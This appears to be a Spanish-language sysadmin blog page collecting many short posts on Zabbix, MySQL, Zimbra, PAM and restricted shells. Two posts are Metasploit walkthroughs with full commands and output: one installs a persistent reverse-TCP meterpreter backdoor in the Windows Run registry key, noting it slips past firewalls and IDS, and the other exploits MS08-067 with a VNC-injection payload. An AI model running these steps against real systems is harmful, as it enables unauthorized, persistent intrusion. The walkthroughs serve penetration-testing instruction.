metasploit, quédate en windows

Una de las cosas más importantes que hay que hacer cuando se acaba de explotar una vulnerabilidad es garantizarse el acceso nuevamente al equipo. Conseguirlo la primera vez puede ser casualidad o suerte. Un mail con un archivo infectado, un enlace que da acceso o algo que hizo el usuario puede no repetirse de forma voluntaria o rápida, de ahí que una vez que tengamos acceso, haya que conservarlo. Para ello, partimos de una conexión establecida para tener acceso al equipo.
msf> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
Una vez dentro del mismo y con ayuda del intérprete meterpreter, necesitamos garantizarnos poder volver a abrir la conexión con la máquina de forma remota siempre que nos interese. para hacerlo, qué mejor que ayudarnos del script persistence, que justamente hace eso, tal como sigue,
meterpreter> run persistence -A -X -p 10000 -r 192.168.1.33
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-VIRT_20120904.4132/WIN-VIRT_20120904.4132.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=10000
[*] Persistent agent script is 612693 bytes long
[+] Persistent Script written to C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs
[*] Starting connection handler at port 10000 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs
[+] Agent executed with PID 2452
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR

meterpreter> exit -y
[*] Shutting down Meterpreter...

[*] 192.168.1.50 - Meterpreter session 1 closed.  Reason: User exit
Tenemos que indicarle el puerto y la IP de conexión en la que estará un software escuchando para que pueda abrir la conexión hacia el sistema. Una vez esté, salimos de la sesión que tenemos y sólo nos queda configurar un nuevo exploit para abrir cuando así lo deseemos la conexión con el equipo "infectado". Esta vez la forma de establecer la comunicación es directa y no necesita de la explotación de ningún bug.
Ponemos por la tanto el handler a la escucha en el puerto y la IP que se han indicado y al momento aparecerá una nueva conexión, iniciada por el Windows al equipo de metasploit. Esto garantiza el acceso nuevamente a la máquina y además la conexión es iniciada por el equipo infectado, lo que facilita enormemente saltarse firewall's e IDS's.
msf> use multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(handler)> set LPORT 10000
LPORT => 10000
msf exploit(handler)> exploit

[*] Started reverse handler on 192.168.1.33:10000 
[*] Starting the payload handler...
[*] Sending stage (764928 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.33:10000 -> 192.168.1.50:3045) at 2012-09-01 16:46:01 +0200

msf exploit(handler)> sessions -l

Active sessions
===============

Id  Type         Connection
--  ----         ----------
1   meterpreter  192.168.1.33:10000 -> 192.168.1.50:3045
Leer más

Y tú, ¿aún no automatizas tareas con puppet?

El otro día @pepellou retwitteó el siguiente contenido,

Y la verdad es que el contenido está en sí muy bien. Representa en una línea muy clara lo que implica en administración de sistemas la automatización. Fuera del término 'geek', automatizar puede suponer una gran ventaja a la hora de ahorrarse trabajo y sobre todo, evitar fallos por replicación.
En el gráfico del tweet se representaba la diferencia entre administradores 'geeks' y 'no geeks'. Yo quiero subir un nivel y demostrar la verdadera potencia de puppet.
puppet: simple automatization
Juzgarlo vosotros: ¿vale la pena? ;-)


Si este artículo te ha interesado, quizás te puedan interesar también:
Leer más

Depurando MySQL log slow queries

MySQL tiene algunas opciones que facilitan el depurado de las query's. Una query lenta implica un problema de rendimiento importante y si esa query se realiza con frecuencia, podemos tener un servidor de MySQL con una carga importante. Para detectar este tipo de query's complejas e intentar buscarle solución, MySQL añade la opción 'log_slow_queries' que no es más que un fichero sobre el cual se volcan aquellas query's pesadas para el servidor, para así poder revisarlas a posteriori. Sobre cómo habilitar esto ya hablamos hace tiempo aquí. El problema está en la cantidad de información que dicho fichero recibe. En caso de que haya una query que le lleve más de 'long_query_time' automáticamente ya se inserta en fichero de log aunque realmente pueda no ser pesada, sino que sea pesada por la carga momentánea que tiene el equipo. Por norma general, son pesadas aquellas query's que devuelven una gran cantidad de datos o las que tienen unas sentencias de filtrado muy complejas de evaluar. En este caso, vamos a ver cómo evitar que se inserten en el fichero de slow-query's todas aquellas sentencias que no devuelvan más de X valores. para conseguirlo, tenemos que agregar la variable 'min_examined_row_limit' al fichero de configuración con el número de filas mínimo para que una query sea considerada lenta. Tras ello reiniciamos el servicio y los cambios ya surgirán efecto.
También podemos hacerlo en tiempo real dándole un valor a dicha variable.
mysql> show global variables like 'min_examined_row_limit';
+------------------------+-------+
| Variable_name          | Value |
+------------------------+-------+
| min_examined_row_limit | 0     |
+------------------------+-------+
1 row in set (0.00 sec)

mysql> set global min_examined_row_limit=250;
Query OK, 0 rows affected (0.00 sec)


mysql> show global variables like 'min_examined_row_limit';
+------------------------+-------+
| Variable_name          | Value |
+------------------------+-------+
| min_examined_row_limit | 250   |
+------------------------+-------+
1 row in set (0.00 sec)
Leer más

Zabbix, monitorizando webmail de Zimbra

Zabbix sirve para monitorizar prácticamente todo tipo de elementos de una red y también para monitorizar el acceso y la velocidad de respuesta de un determinado portal web. Gracias a la pestaña "Web" Zabbix puede realizar por nosotros accesos periódicos a un determinado sitio, incluso logándose y ejecutando algún comando, para luego mostrarnos gráficamente el resultado. Este justo es el caso de Zimbra, si el acceso se produce vía webmail, Zabbix puede controlar de forma simple la velocidad de conexión al servidor así como monitorizar que el acceso web es posible.
En este post vamos a ver cómo realizar la configuración necesaria en Zabbix para monitorizar el webmail de Zimbra. Para ello, nos vamos a "Configuration" / "Web" y ahí creamos un nuevo escenario. Si tienes un host monitorizado, que es el propio equipo de Zimbra, lo ideal es crearlo como escenario de dicho equipo. A continuación, creamos un nuevo escenario y un paso para el mismo.
Application: webmail
Name: Zimbra WebMail
Authentication: None
Update interval (in sec): 120
Agent: Google Chrome 16
Variables:
   {host}=mail.domain.com
   {email}=admin@domain.com
   {key}=6d4cb65bebc5c1....
En este punto sí es importante destacar el uso de la clave, preAuthKey, del dominio, ya que dejar la contraseña del administrador escrita ahí públicamente no es buena idea. Para evitarlo, generamos la clave de preAuth de Zimbra para el dominio tal como sigue:
shell> su - zimbra
zimbra@shell> zmprov gdpak mail.domain.com
preAuthKey: 6d4cb65bebc5c1...
Ahora que ya tenemos todos los datos necesarios, sólo queda definir el paso de autenticación para el escenario. Recordar que lo que nos interesa es saber que efectivamente podemos acceder al webmail.
Name: Auth
URL: https://mail.domain.com/zimbra/
Post: host={host}&email={email}&key={key}&enter={ENTER}
Timeout: 30
Required status codes: 200
Y listo, ya tenemos el escenario finalizado. Sólo queda esperar a que comience a monitorizar la aplicación web para ver los tiempos de respuesta. En caso de cortes o aumento de latencia lo podremos observar de primera mano.
Zimbra with Zabbix monitoring

Leer más

Zabbix, inventariado automático


Una de las mejoras introducidas con la versión 2 de Zabbix es el inventariado automático. Anteriormente los campos existían, pero no tendía excesivo sentido tenerlos, puesto que había que cubrirlos manualmente. Si hablamos de 15 ó 50 host's la cosa aun tiene sentido, si hablamos del uso de más de mil equipos, la cosa ya cambia. Introducir todos los datos del equipo, MAC, Sistema Operativo, Nº de serie, Software, Localización, Chasis, etc. podría hacerse eterno. Ahora gracias a la última versión todo esto es más fácil de gestionar, ya que los equipos permiten el inventariado automático, con lo que todo queda en manos del agente y te los item's controlados.

Automatic host inventory
Cuando se crea un nuevo host a monitorizar, en la pestaña "Host Inventory" debemos de habilitar la opción "Automatic", siendo así recolectados los datos por los item's que configuraremos a continuación.
Ahora debemos de crear un nuevo item que será el encargado de recolectar los valores del agente Zabbix  Aunque zabbix_server 2.0.X obtiene valores de la versión 1.8 del agente, para que estas nuevas características estén operativas, es necesario que el agente esté también en la misma versión, la 2.0.X.
La creación de un nuevo item es la de siempre, sólo debemos de tener presente las nuevas key's que ahora se pueden emplear y que ayudan a cubrir los datos. De todas formas, cualquier dato que se reciba de un item puede ser 'introducido' en el inventario del host. La única peculiaridad, marcar con qué valor queremos que haya conexión: "Populates host inventory field".
Por ejemplo, a continuación creamos un item que inserta automáticamente la MAC - A en el inventario.
Item MAC collect
Tras aceptar la creación del item, si vamos al inventariado, podremos ver cómo el campo 'MAC address A' está ya relacionado con el item creado.
Relation between field and item
Cuando se reciban los primeros datos, este campo se rellenará automáticamente y puesto que son datos que no suelen variar mucho con el tiempo, es interesante para optimizar que el tiempo de actualización sea relativamente alto, una vez al día o similar.
Leer más

metasploit, vnc payload

La costumbre es una mala compañera de viaje. Siempre que hacía análisis de equipos empleaba los mismos 3 o 4 payload's y era bastante raro que me fijase en mucho más. La idea era siempre la misma, conseguir un acceso al equipo (una shell de meterpreter, por ejemplo). Hoy de casualidad he descubierto un nuevo payload, vncinject/bind_tcp, que no es más que un simple payload que ofrece la posibilidad de abrir una pequeña ventana con la conexión vnc y una shell. Explotar las cosas en un equipo windows con interfaz gráfica es mucho más simple. Una sesión de meterpreter y una de vnc facilitan mucho las cosas. Vamos a ver a continuación cómo usar este nuevo payload.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi)> set PAYLOAD windows/vncinject/bind_tcp 
msf exploit(ms08_067_netapi)> set RHOST 192.168.1.50
msf exploit(ms08_067_netapi)> set RHOST 192.168.1.33
msf exploit(ms08_067_netapi)> exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (445440 bytes) to 192.168.1.50
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.
[*] Session 2 created in the background.

VNC Viewer Free Edition 4.1.1 for X - built Mar 10 2010 21:40:13
Copyright (C) 2002-2005 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
Thu Sep 13 16:24:07 2012
 CConn:       connected to host 127.0.0.1 port 5900

Thu Sep 13 16:24:08 2012
 CConnection: Server supports RFB protocol version 3.8
 CConnection: Using RFB protocol version 3.8
 TXImage:     Using default colormap and visual, TrueColor, depth 24.
 CConn:       Using pixel format depth 6 (8bpp) rgb222
 CConn:       Using ZRLE encoding

Thu Sep 13 16:24:09 2012
 CConn:       Throughput 20625 kbit/s - changing to hextile encoding
 CConn:       Throughput 20625 kbit/s - changing to full colour
 CConn:       Using pixel format depth 24 (32bpp) little-endian rgb888
 CConn:       Using hextile encoding

msf exploit(ms08_067_netapi)>
Tras lanzar el exploit, obtendremos una ventana con la conexión vnc establecida, si la explotación fue satisfactoria.
windows vnc connection
Leer más

Miedo a los virus en GNU/Linux

¿Tienes miedo de descargar algún virus desde GNU/Linux navegando por la red? ¿Compartes la red con equipos Windows y lo que tu bajes los puede infectar? Quizás esto te deje más tranquilo: emplea Firefox + fireclam. Fireclam es un complemente perfecto para tu navegador firefox (por el momento no está disponible para Chrome). Apoyándose en el famoso antivirus ClamAV permite detectar si los ficheros que descargas de la red están o no infectados, en función se su base de datos de virus. Puesto que ClamAv está también disponible para Windows, este complemento también se puede emplear perfectamente en Windows.
Antes de explicar cómo instalarlo y configurarlo, es necesario tener ClamAV instalado en nuestra distribución. Por suerte, está en prácticamente todos los repositorios oficiales, por lo que su instalación es muy simple,
shell> apt-get install clamav
una vez esté instalado, únicamente habrá que actualizar la base de virus. Para ello,
shell> freshclam
ClamAV update process started at Wed Oct 10 11:13:24 2012
Downloading main.cvd [100%]
main.cvd updated (version: 54, sigs: 1044387, f-level: 60, builder: sven)
daily.cvd is up to date (version: 15447, sigs: 276094, f-level: 63, builder: ccordes)
bytecode.cld is up to date (version: 190, sigs: 36, f-level: 63, builder: neo)
Database updated (1320517 signatures) from db.local.clamav.net (IP: 152.66.249.135)
En caso de que emplees un sistema Windows, descárgate el instalador desde aquí.
Ahora ya sólo queda instalar el complemente en Firefox y configurarlo. Lo puedes descargar directamente desde aquí o bien emplear el instalador de extensiones de tu navegador.
Instalación de la extensión Fireclam
Tras la instalación, habrá que reiniciar nuestro navegador. Lo reiniciamos y luego configuramos el nuevo complemento. Sólo nos pedirá la dirección del antivirus y de la base de datos de virus.
Configuración de Fireclam
Estas rutas son para sistemas debian y me las pilló por defecto correctamente. En caso de que no sean éstas, simplemente tendrás que poner las correctas y cerrar. A partir de este momento en caso de que descargues algo infectado, aparecerá un mensaje similar al siguiente notificándotelo.
Ventana de advertencia de virus
En caso de que te interese que las notificaciones vayan más fluidas, puedes tener el daemon del antivirus ejecutándose, lo que facilitará la consulta al complemento para saber si el archivo contienen o no un virus.
Leer más

Limitando el empleo de "su"

El sistema de permisos de GNU/Linux está muy bien pensado. Es un sistema multiusuario en el cual, en cualquier momento, un usuario con privilegios se puede convertir en administrador (root) y hacer prácticamente cualquier cosa en el sistema. Es por ello, muy importante evitar que cualquier usuario pueda emplear el comando 'su' y desatar así el caos. La forma más sencilla de evitarlo es no darle la contraseña de root, pero si eso no es posible, y la consigue, existe otra forma, el grupo 'wheel'.
Vamos por lo tanto a conseguir que sólo aquellos usuarios que pertenezcan a dicho grupo puedan emplear 'su' y hacerse por lo tanto root de los sistemas. Para ello, antes de nada crearemos dicho grupo, en caso de que no exista.
shell getent group|grep wheel
shell addgroup --system wheel
shell getent group|grep wheel
wheel:x:55:
Ahora que ya tenemos el grupo creado, sólo quedará añadir los usuarios que deseemos que disfruten de root a dicho grupo.
shell adduser javier wheel
Hecho esto, vamos a la configuración de 'su' en pam y establecemos como necesaria la pertenencia al grupo 'wheel' para poder emplear este comando.
...
auth   required   pam_wheel.so use_uid group=wheel
...
A partir de este momento, sólo los usuarios que pertenezcan al grupo 'wheel' podrán emplear 'su'.
Leer más

zabbix-proxy: Instalación

La instalación de proxy's por la red es uno de los puntos fuertes de zabbix, que permite así escalar la recolección de datos desde un único punto a varios puntos, aunque siga a centralizar todos los datos sobre una misma base de datos y de consulta. La idea es que desde un punto centralizado (zabbix_server) estén todos los datos pero que la recolección de los mismos se haga desde varios puntos deferentes, para así poder levantar el número de threads necesarios de cada poller y distribuir la carga de CPU entre varias máquinas. 'divide y vencerás'.
Antes de comenzar con la instalación de un zabbix-proxy hay que aclarar un par de conceptos.
  1. La cantidad de equipos que cada uno de los proxy's va a controlar y la frecuencia de los check's. Es decir, cuantos vps va a tener que soportar la base de datos. No hay un número exacto que podamos decir, pero esto es importante pues según estos datos tendremos que optar por instalar un proxy con sqlite o un proxy con una base de datos más potente (mysql o postgress).
  2. El tipo de proxy que vamos a tener:
    • Activo
      El propio proxy enviará la información al servidor zabbix según la configuración que tenga. El servidor únicamente tendrá que atender las peticiones y recolectar los datos.
    • Pasivo
      Será el propio servidor zabbix el que se encargue de pedirle al proxy los datos con una frecuencia determinada.
Una vez tengamos esto decidido ya es hora de instalar el servicio y de configurarlo sobre todo.
  • SQLite
    Esta es la solución más sencilla y no necesita prácticamente nada. Simplemente se instala y la configuración de la base de datos es inmediata. El propio proceso la crea al arrancar por primera vez, no hay que desplegar el schema.
    shell> apt-get install zabbix-proxy-sqlite
    
  • MySQL
    Esta es junto con la opción de postgress la opción a elegir si tenemos más carga de trabajo en el proxy. Vamos a partir de que la instalación del servidor MySQL ya está realizada. Por lo tanto sólo queda instalar el servicio y desplegar el schema de zabbix.
    • Instalamos el servicio
      Primero vamos a instalar el servicio de zabbix-proxy. Para eso empleamos el gestor de paquetes de nuestra distribución.
      shell> apt-get install zabbix-proxy-mysql
      
    • Configuramos la base de datos
      La versión de MySQL no instala la base de datos al arrancarse por primera vez, así que tenemos que desplegar el schema y crear un usuario con acceso a la nueva base de datos del proxy. El schema que emplea es el mismo que el servidor zabbix, pero el proxy no necesita datos, esos se los provee el servidor en su debido momento.
      mysql> CREATE DATABASE zabbix_proxy_1;
      mysql> USE zabbix_proxy_1;
      mysql> SOURCE ~/create/schema/mysql.sql
      mysql> GRANT ALL PRIVILEGES ON zabbix_proxy_1.*
             -> to 'proxy_1'@'192.168.1.51'
             -> IDENTIFIED BY 'YOURPASSWD';
      
    • Configuramos zabbix_proxy.conf para emplear MySQL
      Esta parte es específica si empleamos una base de datos diferente a SQLite.
      ...
      DBHost     = 192.168.1.33
      DBName     = zabbix_proxy_1
      DBUser     = proxy_1
      DBPassword = YOURPASSWD
      ...
      
Una vez esté todo instalado hay que realizar la configuración del servicio como primer paso antes de arrancarlo. Esta configuración se lleva a cabo en el fichero /etc/zabbix/zabbix_proxy.conf y está perfectamente documentada en la documentación oficial. Al finalizar la configuración, arrancamos el servicio y desde el servidor zabbix creamos un nuevo proxy (Administration/DM/Proxy), según sea activo o pasivo.
Create a zabbix new proxy
Una vez tengamos el nuevo proxy creado, todos aquellos equipos que nos interese monitorizar a través de él tendremos que indicarlo desde el interfaz web y en su fichero de configuración indicar que la IP del servidor zabbix será la del proxy y no la del servidor real.
Leer más

Host 'apache' is blocked because of many connection errors

El siguiente error se puede producir cuando un usuario o un programa se está intentando conectar continuamente al servidor MySQL y está fallando el acceso (por ejemplo, con contraseña incorrecta). MySQL como medida de protección tiene una variable, max_connect_errors que controla el número máximo de conexiones fallidas que se pueden establecer. A partir de ahí, se bloquea el acceso desde dicho host al servidor, para proteger el sistema de un posible ataque. El fallo del que hablamos,
Host 'apache' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts' 
Y como se observa, en el propio error está la solución. Si el fallo está causado por 'algo' reconocido, entonces nos conectamos al servidor de base de datos y ejecutamos,
mysql> flush hosts;
En caso contrario, antes de ejecutarlo, hay que revisar por qué se han producido tantos fallos, pues puede que el equipo remoto esté comprometido.
Leer más

RedHat, limpiar paquetes descargados

Una de las cosas que siempre suele suceder al instalar y actualizar paquetes en nuestras distribuciones es que estos terminan ocupando más espacio del que deberían. Por defecto, al actualizar un paquetes, éste suele ocupar un poco más de espacio que el anterior, por nuevas funcionalidades o librerías nuevas que incluya, pero a mayores, ocupa todo el espacio del propio paquete que se descargar. Este paquete queda en la caché de nuestro gestor de paquetes y por lo tanto en disco, aunque no sea estrictamente necesario.
En sistemas debian, para hacer un purgado de dichos ficheros nos llega con hacer,
shell> apt-get clean
En sistemas Redat/CentOS, que emplean yum, también podemos hacer algo similar que ayuda al purgado de dichos paquetes,
shell> du -sh /var/cache/yum
48M   /var/cache/yum
shell> yum clean all
Loaded plugins: fastestmirror
Cleaning up Everything
Cleaning up list of fastest mirrors
shell> du -sh /var/cache/yum
84K   /var/cache/yum
Como se puede observar, tras el purgado el espacio fue liberado. En el fichero de configuración, /etc/yum.conf, está definido el directorio cachedir.
Leer más

metasploit, instalación de debian squeeze

Aunque ya tenemos hablado muchas veces de cómo usar metasploit, nunca hemos mencionado cómo instalar la última versión del mismo en debian squeeze. Por defecto, si bajas el paquete/binario de la web oficial te ofrecen un pequeño programa de instalación con guía que siempre que lo intenté me falló. Llega a un punto, algo relacionado con postgress que no es capaz de continuar. Así que decidí que la mejor forma de realizar la instalación es empleando directamente subversion (svn).
Para una instalación sencilla, lo único que necesitamos es instalar ruby, subversion y todo el código de metasploit.
shell> apt-get install subversion
shell> apt-get install ruby libopenssl-ruby libyaml-ruby \
       libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems
Una vez instalado esto, sólo queda hacer una copia del repositorio con subversion. Para ello,
shell> cd /opt
shell> svn co http://www.metasploit.com/svn/framework3/trunk/ metasploit
Una vez haya terminado ya tenemos listo nuestro framework y es plenamente funcional. Pero como nos interesa tenerlo al 100%, vamos a darle también conectividad a una base de datos. Las últimas versiones de metasploit sólo soportan postgresql como base de datos, así que vamos a instalarla y añadirla.
shell> apt-get install postgresql pgadmin3 libpq-dev \
       libreadline-dev libssl-dev libpq5 ruby-dev
shell> gem install pg
Una vez instalada y arrancada, configuramos la nueva base de datos,
shell> su postgres
postgres@shell> createuser metasploit -P
Enter password for new role: 
Enter it again: 
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
postgres@shell> createdb --owner=metasploit metasploit
exit
Llegados a este punto, ya podemos arrancar por primera vez metasploit. Así que hacemos los link's correspondientes y lo arrancamos.
shell> ln -s /opt/metasploit/msf* /usr/local/sbin/
Una vez arrancado, si no hay problemas tendríamos que tener acceso al promt del framework por lo que sólo nos queda añadirle el soporte de base de datos.
shell> msfconsole
       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 960 exploits - 507 auxiliary - 153 post
+ -- --=[ 257 payloads - 28 encoders - 8 nops
       =[ svn r15900 updated yesterday (2012.09.25)

msf> db_connect metasploit:qwerty@127.0.0.1:5432/metasploit
...
[*] Rebuilding the module cache in the background...

msf> db_status
[*] postgresql connected to metasploit
Y ya está metasploit perfectamente instalado y listo para funcionar sobre debian squeeze. Cada vez que se quiera actualizar únicamente,
shell> svn update /opt/metasploit

Píldora: Compilación de pcaprub.
shell> apt-get install libpcap-dev
shell> cd /opt/metasploit/external/pcaprub/
shell> ruby extconf.rb
shell> make
shell> make install
Leer más

putty, backup de configuración

Aunque soy usuario de GNU/Linux hay veces que para acceder a algún equipo lo debes hacer desde un equipo Windows y por suerte, putty para conexiones ssh funciona perfectamente. El problema es que en ciertas ocasiones, cuando cambias de equipo, toda la configuración que se tenía de putty se pierde. Para evitar esto, hoy os presento un pequeño truco, cómo exportar dicha configuración de putty para poder cargarla nuevamente en otro sistema.
Como todo buen servicio en Windows, prácticamente todo está escrito en el registro, por lo tanto para hacer una copia de la configuración nos serviría con hacer un backup del registro. El problema está en saber qué clave es. La respuesta,
HKEY_CURRENT_USER\Software\SimonTatham
Con hacer un backup de esta carpeta de registro ya nos llegaría. Para hacerlo, o bien vamos desde el interfaz gráfico y lo hacemos o bien empleamos la línea de comandos para hacerlo. Desde la línea de comandos sería algo tal que así,
cmd regedit /e "putty.reg" HKEY_CURRENT_USER\Software\SimonTatham\
Si lo hacemos desde el interfaz,

Leer más

WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!

shell> ssh remote-host
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
46:75:82:16:14:02:e7:17:1e:f8:44:4a:e0:20:78:57.
Please contact your system administrator.
Add correct host key in ~/.ssh/known_hosts to get rid of this message.
Offending key in ~/.ssh/known_hosts:21
RSA host key for remote-host has changed and you have requested strict checking.
Host key verification failed.
Yo creo que a todos alguna vez nos ha salido este fallo al intentar conectarnos vía ssh a algún equipo. Este fallo puede venir producido por dos cosas principalmente,
  1. Ataque man-in-the-middle
    Este es el principal motivo por el que por defecto ssh no permite conectar a equipos a los que se le haya modificado su clave pública. Puede que haya 'algo' intermedio que esté capturando nuestras credenciales al intentar conectarnos y de ahí que de la advertencia.
  2. Nueva instalación
    Este es el otro motivo por le que suelen suceder este tipo de mensajes. Cuando un administrador reinstala el equipo o su IP es reutilizada en otro equipo, pero siendo conscientes de ello y no se han conservado las claves publica-privada, de ahí que aparezca esta advertencia.

Realmente este 'fallo' hay que saber el motivo por el que aparece y en caso de ser conscientes de él y aceptarlo, entonces podremos proseguir conectándonos al equipo sin riesgo alguno. Si aparece sin motivo, entonces habrá que comprobar que el fingerprint del mensaje coincida con el del equipo, para saber que no estamos ante un ataque MitM. Para solucionar este fallo podemos hacerlo de dos formas,

  • Editar el fichero knonw_hosts
    El el propio warning nos sale la línea del fichero known_hosts que avisa del cambio, por lo que editando el fichero y borrando dicha línea al volver a conectar ya no aparecería el mensaje. En las últimas versiones de ssh, ya no se almacena el nombre del equipo, sino que se oculta sobre la HMAC, por lo que complica encontrar el equipo afectado en dicho fichero.
  • Comando ssh-keygen
    Esta es la forma lógica de hacerlo y no es otra que pasarle la opción -R (remove) para que sea el propio comando el que gestione de forma eficiente el fichero known_hosts.
    shell> ssh-keygen -R remote-host
    
Leer más

#timeout en ejecución de comandos

Aunque no suele ser muy habitual, hay veces que necesitamos modificar el tiempo de finalización de un determinado programa o script lanzado desde la consola. Bien sea por que necesita más tiempo para finalizar, bien por que necesite menos del que por sí mismo tomaría.
Para lograr esto, existe el comando timeout en bash. Su uso es muy sencillo, simplemente hay que ponerlo antes del comando que deseemos ejecutar con el tiempo (en segundo) que deseemos que esté como mucho vivo.
shell> timeout 30 zabbix-get -s localhost -k system.uptime
Aunque por defecto el tiempo está en segundos, se le puede indicar que tarde minutos (m), horas (h) o días (d).
shell> timeout 30m zabbix-get -s localhost -k system.uptime
Leer más

Paginar salida de MySQL

Este es un pequeño truco que se puede emplear para obtener una salida mucho más lógica de una consulta en MySQL. Por defecto, la salida de una consulta se envía a stdout, por lo que si esta tiene un número muy elevado de tuplas, es complicado verla y seguirla. Para evitarlo qué mejor que paginar. MySQL permite paginar las salidas al más puro estilo GNU/Linux (diferencia entre cat FILE y more FILE).
Para habilitar el paginado en las salidas de MySQL se emplea el comando pager y éste admite como parámetros el programa GNU/Linux que deseemos emplear para paginar (more o less, por ejemplo). Para emplear simplemente,
mysql> pager more
Con lo que obtendremos una paginación al más puro estilo more o sino también,
mysql> pager less
Muy útil si la salida de la consulta es más grande que la pantalla, que permite navegar vertical y horizontalmente por los resultados, facilitando la consulta y explotación de los datos.
A mayores, también permite realizar salidas más útiles, como por ejemplo,
mysql> pager md5sum

mysql> select * from users;
e9b09f919e6abf68b46f84f0bedc2e72  -
71 rows in set (0.00 sec)
Con lo que obtenemos un md5 de la salida. La próxima vez que se ejecute si este número cambia, significará que hubo cambios en los datos de la consulta, sino, es que todo está igual.
Y pager también permite enviar los resultados por correo, empleando el comando del sistema mail.
mysql> pager mail -s "query mysql" user@domain.com
Cuando deseemos volver al estilo por defecto de MySQL simplemente,
mysql> nopager

Nota: pager permite realizar salidas también mucho más espectaculares  al enviar todos los datos de las consultas como input del programa especificado,
mysql> pager cat > /tmp/output.txt
mysql> pager less -n -i -S -F -X
mysql> pager cat \ 
 -> | tee /tmp/res.txt \
 -> | tee /tmp/res2.txt | less -n -i -S
Más info en: MySQL 5.5
Leer más

Limitar comandos a usuario

Hay veces que por los motivos que sean un usuario tiene que tener acceso a un sistema y en él sólo debería de poder permanecer en su ~home y también debería de sólo poder ejecutar los comandos que se le indiquen. Esto funciona muy bien excepto por la curiosidad. Si un usuario tiene acceso a algo, intentará tarde o temprano verlo. Entonces... ¿cómo podemos evitar al usuario cotilla? La respuesta es sencilla, realizando una jaula chroot para su sesión y que no pueda salir de ella ni ejecutar comandos fuera de los que le estén permitidos. A continuación os voy a enseñar cómo montar un sistema 'chroot' y lo pongo entre comillas, por que realmente no es en sí una jaula propiamente dicha.

Partimos de que necesitamos crear un usuario test que sólo tenga acceso al sistema para realizar un telnet a otra máquina de la red. Puesto que únicamente necesita ejecutar un telnet necesitamos restringir el resto de comandos disponibles en una sesión bash normal. Vamos a ir paso a paso configurando todo.
  1. Creamos el usuario test
    Este será un usuario normal del sistema, así que lo creamos como un usuario normal. La única peculiaridad es que cambiamos la shell de dicho usuario. Por defecto suele ser /bin/bash y vamos a establecer /bin/rbash. rbash es realmente una copia de bash, pero realmente es un "restricted bash".
    shell> adduser --shell /bin/rbash test
    
  2. Creamos el fichero .bash_profile
    Hay que crear este fichero en la home del usuario que se ha creado y para el que queremos aplicar los permisos. El contenido del fichero será el que sigue,
    if [ -f ~/.bashrc ]; then
       . ~/.bashrc
    fi
    
    PATH=$HOME/apps
    export PATH
    
  3. Evitamos las modificaciones
    Cuando ya tengamos el fichero creado, impedimos que nadie pueda realizar modificaciones en el fichero.
    shell> chattr +i /home/test/.bash_profile
    
  4. Creamos el directorio de apps e instalamos los programas con 'acceso'
    Ahora una vez que tenemos ya todo configurado sólo queda crear el directorio apps y dentro de él, crear un link a los programas que deseamos que el usuario tenga permisos. Todos los programas que estén dentro de apps, el usuarios los podrá ejecutar, sino, no.
    shell> mkdir apps
    shell> ln -s /usr/bin/telnet /home/test/apps/
    
  5. Comprobamos que funciona
    Accedemos al sistema y comprobamos que funciona correctamente.
    shell> ssh test@remote
    test@remote's password:
    
    shell@remote> ls
    -rbash: ls: no se encontró la orden
    shell@remote> cd
    -rbash: cd: no se encontró la orden
    shell@remote> telnet
    telnet>
    
Leer más

Humor a lo #debian

Me llevo una grata sorpresa cuando veo esto,
shell> cat /etc/udev/links.conf
# This file does not exist. Please do not ask the Debian maintainer about it.
Se ve que los mantenedores de debian siguen teniendo sentido del humor, incluso cuando trabajan en paquetes delicados.
Leer más

zimbra, uso de RAM

Zimbra por defecto hace un uso intenso de la memoria RAM y de la SWAP para mejorar el rendimiento. Todo lo que puede lo almacena en caché, para así poder ofrecérselo antes a los clientes. Ésto hace que su rendimiento sea mayor, pero el consumo de recursos del sistema también es mayor. Para saber los valores que tienen las variables de reserva de RAM podemos ejecutar lo siguiente,
shell> zmlocalconfig |grep memory
mysql_memory_percent = 30
tomcat_java_heap_memory_percent = 60
Esto indica el procentaje de RAM que se reserva para MySQL (30%) y el porcentaje para los procesos de Zimbra (60%). En servidores con poca memoria disponible estos valores los hay que alterar para mejorar el rendimiento, ya que podemos tener MySQL con escasa RAM ejecutándose. En equipos con mucha RAM (más de 4Gb) también los podemos modificar para darles más recursos.
Para modificar dichos valores,
shell> zmlocalconfig -e mysql_memory_percent=50
shell> zmlocalconfig -e tomcat_java_heap_memory_percent=35
